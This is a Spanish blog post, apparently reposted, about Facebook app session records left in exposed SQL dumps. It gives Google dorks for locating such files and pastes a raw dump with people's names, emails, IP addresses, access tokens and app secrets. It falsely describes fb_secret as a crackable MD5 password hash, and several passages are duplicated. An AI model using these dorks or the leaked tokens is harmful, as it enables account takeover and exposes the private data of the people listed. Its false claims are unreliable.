Viendo una entrada en Pastebin de Mauritania Attacker comprobamos el riesgo que tienen
algunos logs de Facebook como `ci_sessions`, `WRITE` y otros, que son
enviados por "login.facebook.com" a los servidores que usan diversos
plugins y módulos de Facebook.
El problema es que estos logs contienen parámetros con información sensible de las cuentas usadas por los sitios web, entre ellos el hash de la contraseña en MD5 (texto ascii) lo que significa que puede ser descifrada sin problema ^_^ .
Estos parámetros son:
*fb_apiid
*fb_apikey
*fb_secret (Password of the Account in Hash MD5)
*fb_accesstoken
*fb_uservisitor
*facebook_id
*facebook_name
*facebook_first_name
*facebook_last_name
*facebook_link
*facebook_username
*facebook_hometown (tracer)
*facebook_location (tracer)
Un ejemplo de `ci_sessions` de Facebook:
Y algunos dorks que puedes usar (o crear los tuyos propios):
Dork1: ext:sql "fb_secret\"
Dork2: ext:sql "fb_username\"
Dork3: ext:sql "fb_id\"
Dork4: ext:sql "fb_secret\" ci_sessions
Dork5 : ext:sql "fb_secret\" WRITE
Ten en cuenta que casi todos los CMS como "Wordpress" , "Joomla" , "Drupal" , etc.. y otros sitios web tienen este bug y es posible encontrar esta información en otras extensiones de archivo:
"sql" , "xml" , "dat" , "txt"
Por ejemplo, información sensible en Twitter : http://www.hackerzadda.com/2013/05/twitter-exploit-priv8-2013.html
El problema es que estos logs contienen parámetros con información sensible de las cuentas usadas por los sitios web, entre ellos el hash de la contraseña en MD5 (texto ascii) lo que significa que puede ser descifrada sin problema ^_^ .
Estos parámetros son:
*fb_apiid
*fb_apikey
*fb_secret (Password of the Account in Hash MD5)
*fb_accesstoken
*fb_uservisitor
*facebook_id
*facebook_name
*facebook_first_name
*facebook_last_name
*facebook_link
*facebook_username
*facebook_hometown (tracer)
*facebook_location (tracer)
Un ejemplo de `ci_sessions` de Facebook:
"id\";s:1:\"1\";s:4:\"\";s:9:\"\";s:15:\"\";s:2:\"ar\";s:13:\"\";s:8:\"facebook\";s:8:\"fb_apiid\";s:15:\"223122544391265\";s:9:\"fb_apikey\";s:15:\"223122544391265\";s:9:\"fb_secret\";s:32:\"49c853d3d0718fd0419fd58ac183bbce\";s:3:\"url\";s:29:\"apps.facebook.com/oinstaller/\";s:18:\"status_visit_saved\";b:1;s:14:\"fb_accesstoken\";s:96:\"223122544391265|2.AQCOHzLLEQ5H_PqV.3600.1313622000.0-100001444879309|HrF0TGDVgG51z5Z8plmHNPiTXwA\";s:14:\"fb_uservisitor\";s:15:\"100001444879309\";s:11:\"facebook_id\";s:15:\"100001444879309\";s:13:\"facebook_name\";s:13:\"Owen Peredo D\";s:19:\"facebook_first_name\";s:4:\"Owen\";s:18:\"facebook_last_name\";s:8:\"Peredo D\";s:13:\"facebook_link\";s:34:\"http://www.facebook.com/owenperedo\";s:17:\"facebook_username\";s:10:\"owenperedo\";s:17:\"facebook_hometown\";O:8:\"stdClass\":2:{s:2:\"id\";s:15:\"106257366076550\";s:4:\"\";s:19:\"Cochabamba, Bolivia\";}s:17:\"facebook_location\";O:8:\"stdClass\":2:{s:2:\"id\";s:15:\"106257366076550\";s:4:\"\";s:19:\"Cochabamba, Bolivia\";}s:12:\"facebook_bio\";s:21:\"Alegre y divertido!!!\";s:13:\"facebook_work\";a:1:{i:0;O:8:\"stdClass\":5:{s:8:\"employer\";O:8:\"stdClass\":2:{s:2:\"id\";s:15:\"145505632143902\";s:4:\"\";s:8:\"Sysdecom\";}s:8:\"location\";O:8:\"stdClass\":2:{s:2:\"id\";s:15:\"106257366076550\";s:4:\"\";s:19:\"Cochabamba, Bolivia\";}s:8:\"position\";O:8:\"stdClass\":2:{s:2:\"id\";s:15:\"131462966897408\";s:4:\"\";s:19:\"Gerente Propietario\";}s:11:\"description\";s:27:\"Systems development Company\";s:10:\"start_date\";s:7:\"2008-01\";}}s:15:\"facebook_sports\";a:1:{i:0;O:8:\"stdClass\":2:{s:2:\"id\";s:15:\"103998839637434\";s:4:\"\";s:20:\"Association football\";}}s:23:\"facebook_favorite_teams\";a:1:{i:0;O:8:\"stdClass\":2:{s:2:\"id\";s:12:\"197394889304\";s:4:\"\";s:12:\"FC Barcelona\";}}s:26:\"facebook_favorite_athletes\";a:1:{i:0;O:8:\"stdClass\":2:{s:2:\"id\";s:15:\"176063032413299\";s:4:\"\";s:9:\"Leo Messi\";}}s:29:\"facebook_inspirational_people\";a:1:{i:0;O:8:\"stdClass\":2:{s:2:\"id\";s:11:\"19987834992\";s:4:\"\";s:11:\"Hilary Duff\";}}s:18:\"facebook_education\";a:3:{i:0;O:8:\"stdClass\":2:{s:6:\"school\";O:8:\"stdClass\":2:{s:2:\"id\";s:15:\"106494992721308\";s:4:\"\";s:24:\"joseph nicolas maldonado\";}s:4:\"type\";s:11:\"High School\";}i:1;O:8:\"stdClass\":2:{s:6:\"school\";O:8:\"stdClass\":2:{s:2:\"id\";s:15:\"106233722748482\";s:4:\"\";s:4:\"UMSS\";}s:4:\"type\";s:7:\"College\";}i:2;O:8:\"stdClass\":3:{s:6:\"school\";O:8:\"stdClass\":2:{s:2:\"id\";s:15:\"106462112722590\";s:4:\"\";s:30:\"Centro Boliviano Americano CBA\";}s:4:\"year\";O:8:\"stdClass\":2:{s:2:\"id\";s:15:\"201638419856163\";s:4:\"\";s:4:\"2011\";}s:4:\"type\";s:7:\"College\";}}s:15:\"facebook_gender\";s:4:\"male\";s:17:\"facebook_timezone\";i:-4;s:15:\"facebook_locale\";s:5:\"en_US\";s:18:\"facebook_languages\";a:2:{i:0;O:8:\"stdClass\":2:{s:2:\"id\";s:15:\"110343528993409\";s:4:\"\";s:7:\"Spanish\";}i:1;O:8:\"stdClass\":2:{s:2:\"id\";s:15:\"106059522759137\";s:4:\"\";s:7:\"English\";}}s:17:\"facebook_verified\";b:1;s:21:\"facebook_updated_time\";s:24:\"2011-08-10T12:59:54+0000\";s:16:\"campaign_user_id\";s:1:\"5\";s:10:\"fanpage_id\";s:15:\"181056671916971\";s:5:\"liked\";b:1;s:7:\"user_id\";s:15:\"100001444879309\";s:10:\"user_token\";s:96:\"223122544391265|2.AQCOHzLLEQ5H_PqV.3600.1313622000.0-100001444879309|HrF0TGDVgG51z5Z8plmHNPiTXwA\";s:16:\"id_pageinstalled\";s:2:\"63\";s:14:\"isFanpageAdmin\";b:1;}'),('63207e3bb6293317511e1731de110bdc','186.22.142.214','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) App',1318966975,'a:31:{s:2:\"id\";s:1:\"1\";s:4:\"\";s:11:\"Frubis tabs\";s:15:\"\";s:2:\"ar\";s:13:\"\";s:8:\"facebook\";s:8:\"fb_apiid\";s:15:\"245451332140121\";s:9:\"fb_apikey\";s:15:\"245451332140121\";s:9:\"fb_secret\";s:32:\"01baa1f609949c21784fd5736835aad8\";s:3:\"url\";s:29:\"apps.facebook.com/frubistabs/\";s:18:\"status_visit_saved\";b:1;s:14:\"fb_accesstoken\";s:109:\"AAAB6hEsLCh4BAB1FXiROoo3QQ1HvUII6weseWOGxgxxX4u9zdtT82ZAjT9upMPx0fYFSTdaIbt5mnq6ghGHJkPEjOmeo1GOgWZCVnolwZDZD\";s:14:\"fb_uservisitor\";s:9:\"689991521\";s:11:\"facebook_id\";s:9:\"689991521\";s:13:\"facebook_name\";s:14:\"Matias O\'Keefe\";s:19:\"facebook_first_name\";s:6:\"Matias\";s:18:\"facebook_last_name\";s:7:\"O\'Keefe\";s:13:\"facebook_link\";s:37:\"http://www.facebook.com/matias.okeefe\";s:17:\"facebook_username\";s:13:\"matias.okeefe\";s:15:\"facebook_gender\";s:4:\"male\";s:14:\"facebook_email\";s:23:\"matias.okeefe@gmail.com\";s:17:\"facebook_timezone\";i:-3;s:15:\"facebook_locale\";s:5:\"es_LA\";s:17:\"facebook_verified\";b:1;s:21:\"facebook_updated_time\";s:24:\"2011-10-17T12:06:55+0000\";s:16:\"campaign_user_id\";i:7;s:10:\"fanpage_id\";s:15:\"146715982029180\";s:5:\"liked\";b:1;s:7:\"user_id\";s:9:\"689991521\";s:10:\"user_token\";s:109:\"AAAB6hEsLCh4BAB1FXiROoo3QQ1HvUII6weseWOGxgxxX4u9zdtT82ZAjT9upMPx0fYFSTdaIbt5mnq6ghGHJkPEjOmeo1GOgWZCVnolwZDZD\";s:16:\"id_pageinstalled\";N;s:14:\"isFanpageAdmin\";b:0;s:11:\"fanpage_url\";s:60:\"http://www.facebook.com/HeladosChungo?sk=app_245451332140121\";}'),('b20a63bc8a68f130feb7321c58b56d8d','190.244.13.94','Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.',1318967000,'a:30:{s:2:\"id\";s:1:\"1\";s:4:\"\";s:11:\"Frubis tabs\";s:15:\"\";s:2:\"ar\";s:13:\"\";s:8:\"facebook\";s:8:\"fb_apiid\";s:15:\"245451332140121\";s:9:\"fb_apikey\";s:15:\"245451332140121\";s:9:\"fb_secret\";s:32:\"01baa1f609949c21784fd5736835aad8\";s:3:\"url\";s:29:\"apps.facebook.com/frubistabs/\";s:18:\"status_visit_saved\";b:1;s:14:\"fb_accesstoken\";s:114:\"AAAB6hEsLCh4BADXOQ8vp0cUYZBGYTe9eSHygszNz7ogX0qBFNm2I2JAexwCtdDcQd7pPcX7EUB0XE5K8asIaMDRAFlQ4DiLfpeC9fxsit494Ev5c6\";s:14:\"fb_uservisitor\";s:15:\"100000365619835\";s:11:\"facebook_id\";s:15:\"100000365619835\";s:13:\"facebook_name\";s:13:\"House Gregory\";s:19:\"facebook_first_name\";s:5:\"House\";s:18:\"facebook_last_name\";s:7:\"Gregory\";s:13:\"facebook_link\";s:54:\"http://www.facebook.com/profile.php?id=100000365619835\";s:15:\"facebook_gender\";s:4:\"male\";s:14:\"facebook_email\";s:20:\"sfarsuau@hotmail.com\";s:17:\"facebook_timezone\";i:-3;s:15:\"facebook_locale\";s:5:\"en_US\";s:17:\"facebook_verified\";b:1;s:21:\"facebook_updated_time\";s:24:\"2011-10-06T22:24:58+0000\";s:16:\"campaign_user_id\";i:8;s:10:\"fanpage_id\";s:15:\"146715982029180\";s:5:\"liked\";b:0;s:7:\"user_id\";s:15:\"100000365619835\";s:10:\"user_token\";s:114:\"AAAB6hEsLCh4BADXOQ8vp0cUYZBGYTe9eSHygszNz7ogX0qBFNm2I2JAexwCtdDcQd7pPcX7EUB0XE5K8asIaMDRAFlQ4DiLfpeC9fxsit494Ev5c6\";s:16:\"id_pageinstalled\";N;s:14:\"isFanpageAdmin\";b:0;s:11:\"fanpage_url\";s:60:\"http://www.facebook.com/HeladosChungo?sk=app_245451332140121\";}'),('9f82abf03ee6c9c9c052d306452b72d2','200.125.109.35','Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KH',1318967163,'a:19:{s:2:\"id\";s:1:\"1\";s:4:\"\";s:11:\"Frubis tabs\";s:15:\"\";s:2:\"ar\";s:13:\"\";s:8:\"facebook\";s:8:\"fb_apiid\";s:15:\"245451332140121\";s:9:\"fb_apikey\";s:15:\"245451332140121\";s:9:\"fb_secret\";s:32:\"01baa1f609949c21784fd5736835aad8\";s:3:\"url\";s:29:\"apps.facebook.com/frubistabs/\";s:18:\"status_visit_saved\";b:1;s:14:\"fb_accesstoken\";s:0:\"\";s:14:\"fb_uservisitor\";s:0:\"\";s:16:\"campaign_user_id\";s:0:\"\";s:10:\"fanpage_id\";s:15:\"146715982029180\";s:5:\"liked\";b:0;s:7:\"user_id\";s:0:\"\";s:10:\"user_token\";s:0:\"\";s:16:\"id_pageinstalled\";N;s:14:\"isFanpageAdmin\";b:0;s:11:\"fanpage_url\";s:60:\"http://www.facebook.com/HeladosChungo?sk=app_245451332140121\";}'),('bab185c44a703272b8324c3915e14f45','190.16.128.144','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) App',1319156401,'a:30:{s:2:\"id\";s:1:\"1\";s:4:\"\";s:11:\"Frubis tabs\";s:15:\"\";s:2:\"ar\";s:13:\"\";s:8:\"facebook\";s:8:\"fb_apiid\";s:15:\"245451332140121\";s:9:\"fb_apikey\";s:15:\"245451332140121\";s:9:\"fb_secret\";s:32:\"01baa1f609949c21784fd5736835aad8\";s:3:\"url\";s:29:\"apps.facebook.com/frubistabs/\";s:18:\"status_visit_saved\";b:1;s:14:\"fb_accesstoken\";s:119:\"AAAB6hEsLCh4BAID3FIcZB1aYt8df7W853hvRCCPXZB4ktWLUpLyWEpynMQNFZCTjxCvCmOmnLktygK583TNAzeiWgEpAZAlNERYiiQZCftm6kbZCij0vE8\";s:14:\"fb_uservisitor\";s:15:\"100001952113675\";s:11:\"facebook_id\";s:15:\"100001952113675\";s:13:\"facebook_name\";s:11:\"Enzo Sifrub\";s:19:\"facebook_first_name\";s:4:\"Enzo\";s:18:\"facebook_last_name\";s:6:\"Sifrub\";s:13:\"facebook_link\";s:54:\"http://www.facebook.com/profile.php?id=100001952113675\";s:15:\"facebook_gender\";s:4:\"male\";s:14:\"facebook_email\";s:31:\"francisco.valenzuela@frubis.com\";s:17:\"facebook_timezone\";i:-3;s:15:\"facebook_locale\";s:5:\"es_LA\";s:17:\"facebook_verified\";b:1;s:21:\"facebook_updated_time\";s:24:\"2011-10-20T14:53:31+0000\";s:16:\"campaign_user_id\";i:9;s:10:\"fanpage_id\";s:15:\"146715982029180\";s:5:\"liked\";b:1;s:7:\"user_id\";s:15:\"100001952113675\";s:10:\"user_token\";s:119:\"AAAB6hEsLCh4BAID3FIcZB1aYt8df7W853hvRCCPXZB4ktWLUpLyWEpynMQNFZCTjxCvCmOmnLktygK583TNAzeiWgEpAZAlNERYiiQZCftm6kbZCij0vE8\";s:16:\"id_pageinstalled\";N;s:14:\"isFanpageAdmin\";b:0;s:11:\"fanpage_url\";s:60:\"http://www.facebook.com/HeladosChungo?sk=app_245451332140121\";}'),('3a6f810a85da6f7045d88aad108f33f3','190.224.151.198','Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KH',1319156419,'a:31:{s:2:\"id\";s:1:\"1\";s:4:\"\";s:11:\"Frubis tabs\";s:15:\"\";s:2:\"ar\";s:13:\"\";s:8:\"facebook\";s:8:\"fb_apiid\";s:15:\"245451332140121\";s:9:\"fb_apikey\";s:15:\"245451332140121\";s:9:\"fb_secret\";s:32:\"01baa1f609949c21784fd5736835aad8\";s:3:\"url\";s:29:\"apps.facebook.com/frubistabs/\";s:18:\"status_visit_saved\";b:1;s:14:\"fb_accesstoken\";s:117:\"AAAB6hEsLCh4BAA8FKmqrg6p8CG0D5FZA8FXwStCsrZBnrEZCVQlbY6BynCZBS1QNyBdD5q3zXwt51WUMYtrUPPAuUXE5epaPFKlXOV6XpQMvNA7a3srP\";s:14:\"fb_uservisitor\";s:10:\"1089777996\";s:11:\"facebook_id\";s:10:\"1089777996\";s:13:\"facebook_name\";s:17:\"Luciano Balmaceda\";s:19:\"facebook_first_name\";s:7:\"Luciano\";s:18:\"facebook_last_name\";s:9:\"Balmaceda\";s:13:\"facebook_link\";s:39:\"http://www.facebook.com/lucho.balmaceda\";s:17:\"facebook_username\";s:15:\"lucho.balmaceda\";s:15:\"facebook_gender\";s:4:\"male\";s:14:\"facebook_email\";s:27:\"lucho.balmaceda@hotmail.com\";s:17:\"facebook_timezone\";i:-3;s:15:\"facebook_locale\";s:5:\"es_LA\";s:17:\"facebook_verified\";b:1;s:21:\"facebook_updated_time\";s:24:\"2011-10-19T14:48:37+0000\";s:16:\"campaign_user_id\";i:10;s:10:\"fanpage_id\";s:15:\"146715982029180\";s:5:\"liked\";b:1;s:7:\"user_id\";s:10:\"1089777996\";s:10:\"user_token\";s:117:\"AAAB6hEsLCh4BAA8FKmqrg6p8CG0D5FZA8FXwStCsrZBnrEZCVQlbY6BynCZBS1QNyBdD5q3zXwt51WUMYtrUPPAuUXE5epaPFKlXOV6XpQMvNA7a3srP\";s:16:\"id_pageinstalled\";N;s:14:\"isFanpageAdmin\";b:0;s:11:\"fanpage_url\";s:60:\"http://www.facebook.com/HeladosChungo?sk=app_245451332140121\";}');
Un ejemplo de sesión `WRITE` de Facebook:(6,'fbsecret','823215e0b822191b1451b7f48f877dd5'),
(5,'fbapi','ffc4ba57627eebfd1d41ca7d7107123e'),
(7,'pageid','188846611127079'),
(8,'pagename','St Maria Goretti Church'),
(9,'pagetoken','122582234479418|a17360823010b076c960588f-58100826|188846611127079|F7ae3Q3oYkZsu6TwJls-7EZx8PM'),
(10,'Cancellations','2'),
(11,'Bulletins','3'),
(12,'Cancellations/Delays','4'),
(13,'Church Blog','')
Y algunos dorks que puedes usar (o crear los tuyos propios):
Dork1: ext:sql "fb_secret\"
Dork2: ext:sql "fb_username\"
Dork3: ext:sql "fb_id\"
Dork4: ext:sql "fb_secret\" ci_sessions
Dork5 : ext:sql "fb_secret\" WRITE
Ten en cuenta que casi todos los CMS como "Wordpress" , "Joomla" , "Drupal" , etc.. y otros sitios web tienen este bug y es posible encontrar esta información en otras extensiones de archivo:
"sql" , "xml" , "dat" , "txt"
Por ejemplo, información sensible en Twitter : http://www.hackerzadda.com/2013/05/twitter-exploit-priv8-2013.html
Fuente:http://www.hackplayers.com/2013/05/parametros-sensibles-en-los-logs-de-facebook.html
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